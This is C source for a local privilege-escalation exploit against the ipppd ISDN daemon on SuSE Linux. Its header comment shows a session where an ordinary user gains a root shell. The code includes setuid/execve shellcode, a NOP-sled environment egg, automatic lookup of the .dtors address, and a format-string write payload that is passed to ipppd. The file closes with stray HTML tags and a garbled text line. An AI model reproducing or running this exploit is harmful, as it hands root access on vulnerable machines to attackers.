/* *This is a lame exploit(i have only rewrite the fmtbuilder.c , with some features) for the formatstring bug in ipppd,* *i have test this exploit under SuSE 7.3, but i'm sure it works under SuSE 8.0 too. * *This exploit detects automaticly the .dtors addr. and shelladdr. *you only have to start the eggshell * ./exploitipppd -s *then * -/exploitipppd -e *---------------------------------------------------------------------------------------------------------------------- study@delikon:~/security/fmt> id uid=502(study) gid=100(users) Gruppen=100(users),14(uucp),16(dialout),17(audio),33(video) study@delikon:~/security/fmt> ./exploitipppd -s Use ./exploitipppd -e to explore ipppd now sh-2.05$ ./exploitipppd -e You used .dtors=806c1c4 , Shellcodeaddr.=bffffb35 , offset=11 ,base=5 Please type id, and check if you are r00t ;=) If you are not, type ./exploitipppd -h and try different offsets and check file pathes in the header sh-2.05# id uid=0(root) gid=100(users) groups=100(users),14(uucp),16(dialout),17(audio),33(video) sh-2.05# ------------------------------------------------------------------------------------------------------------------------ tail -f /vat/log/messages give this output Nov 7 15:20:56 delikon ipppd: Exit. ------------------------------------------------------------------------------------------------------------------------ */ #include #include #include #include #define ADD 0x100 #define OCT( b0, b1, b2, b3, addr ) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ } #define DTORS "/usr/bin/objdump -s -j .dtors /usr/sbin/ipppd | /usr/bin/cut -c 2-9 |/usr/bin/awk NR==5" #define IPPPD "/usr/sbin/ipppd" #define OFFSET 11 #define BASE 5 #define DEF_EGGSIZE 500 #define DEF_ALIGN 4 char vitamin[300]; char DtorsAddr[36]; unsigned long get_sp(void) { __asm__ ("movl %esp, %eax"); } char nop[] = { 0x90 }; static char shellcode[] = //ptrace24.c shellcode "\x6a\x17\x58\x31\xdb\xcd\x80\x31" "\xd2\x52\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x52\x53" "\x89\xe1\x8d\x42\x0b\xcd\x80"; int i=0; char *pointer; char *nops = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; int find(){ /*Thanks to GOBBLES for the find() code*/ pointer = (char *)get_sp(); while((i = strncmp(pointer, nops, strlen(nops))) != 0) pointer++; if(i == 0) { pointer=pointer+1; return pointer; } else { fprintf(stderr, "Sorry nimm GDB\n"); return; } } char * grepit() { //from the Mixter md5bd.c backdoor FILE *p; char fmt[1024]; snprintf(fmt, 1024, DTORS); p = popen(fmt, "r"); memset(DtorsAddr, 0, 36); fread(DtorsAddr, 32, 1, p); fclose(p); return DtorsAddr; } char * build_hn( unsigned int retaddr, unsigned int offset, unsigned int base ) { // From the fmtbuilder.c unsigned int length; unsigned int high, low; char * buf; int start = ((base / (ADD*ADD)) + 1)*ADD*ADD; high = ( retaddr & 0xffff0000 ) >> 16; low = retaddr & 0x0000ffff; length = ( sizeof( offset ) * 2 ) + sizeof( high ) + sizeof( low ) + 15; if ( !(buf = (char *)malloc(length * sizeof(char))) ) { fprintf( stderr, "Can't allocate buffer (%d)\n", length ); exit( -1 ); } memset( buf, 0, length ); snprintf( buf, length, "%%.%hdx%%%d$n%%.%hdx%%%d$hn", low - ( sizeof( size_t ) * 2 ) + start - base, offset, high - low + start, offset+1 ); return buf; } void soso(void) { printf ( "\t\t***yet another lame ipppd local root formatstring exploit***\n\n"); printf ( "**usage:\n\n exploitipppd -s start the eggshell -e !ExploRe iT! [-d .dtors section -o offset -b base]\n\n"); } void egg() { char *eggbuf, *buf_ptr; int align, i, eggsize ; align = DEF_ALIGN; eggsize = DEF_EGGSIZE ; if ( (eggbuf = malloc( eggsize )) == NULL ) { printf ("error : malloc \n"); exit (-1); } /* set egg buf */ memset( eggbuf, (int)NULL , eggsize ); for ( i = 0; i < 250 ; i++ ) strcat ( eggbuf, nop ); strcat ( eggbuf, shellcode ); for ( i =0 ; i < align ; i++ ) strcat ( eggbuf, "A"); memcpy ( eggbuf, "S=", 2 ); putenv ( eggbuf ); fprintf(stderr, "\nUse ./exploitipppd -e to explore ipppd now\n\n"); system("/bin/sh"); } int main( int argc, char **argv[] ) { char opt; char * fmt; char * endian; unsigned long locaddr, retaddr; unsigned int offset, base, align = 0; unsigned char b0, b1, b2, b3; int length, ch; int t=0, u=0; if(argc < 2) { soso(); exit(1); } length = ( sizeof( size_t ) * 16 ) + 1; if ( !(endian = (char *)malloc(length * sizeof(char))) ) { fprintf( stderr, "Can't allocate buffer (%d)\n", length ); exit( -1 ); } memset( endian, 0, length ); offset = OFFSET; base = BASE;//the distance from the beginning of the string to the exploration string, here you have a /dev/ at the begining grepit(); locaddr = strtoul( DtorsAddr, NULL, 16); locaddr +=4; while((opt = getopt(argc, argv, "sed:o:b:h")) != EOF) { switch(opt) { case 's': egg(); fprintf(stderr, "\nUse %s -e to explore ipppd now\n\n",argv[0]); exit(0); case 'e': break; case 'd': locaddr = strtoul( optarg, NULL, 16); locaddr += 4; break; case 'o': offset = atoi(optarg); break; case 'b': base = atoi(optarg); break; case 'h': soso(); exit(0); break; }} u = find(); retaddr = u; OCT( b0, b1, b2, b3, locaddr ); if ( base%4 ) { align = 4 - ( base%4 ); base += align; } memset(vitamin, '\0', sizeof(vitamin)); snprintf( endian, length, "%c%c%c%c" "%c%c%c%c", b3, b2, b1, b0, b3 + 2, b2, b1, b0 ); fmt = build_hn( retaddr, offset, base ); for( ; align>0; --align) { strcat(vitamin,"X"); } strcat(vitamin,endian); strcat(vitamin, fmt ); for( t=0;t<=260;t++) strcat(vitamin,"x"); fprintf(stderr, "\nYou used .dtors=%x , Shellcodeaddr.=%x , offset=%d ,base=%d \n\n", (locaddr-4), retaddr, offset,base-3); fprintf(stderr, "\nPlease type id, and check if you are r00t ;=)\n\n"); fprintf(stderr, "\nIf you are not, type %s -h and try different offsets and check file pathes in the header \n\n",argv[0]); execl(IPPPD, "ipppd", vitamin, NULL); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>


<span id="7ztzv"></span><form id="7ztzv"></form>


<span id="7ztzv"></span>
    

      

        <address id="7ztzv"></address>
            

ÑÇÖÞÅ·ÃÀÔÚÏß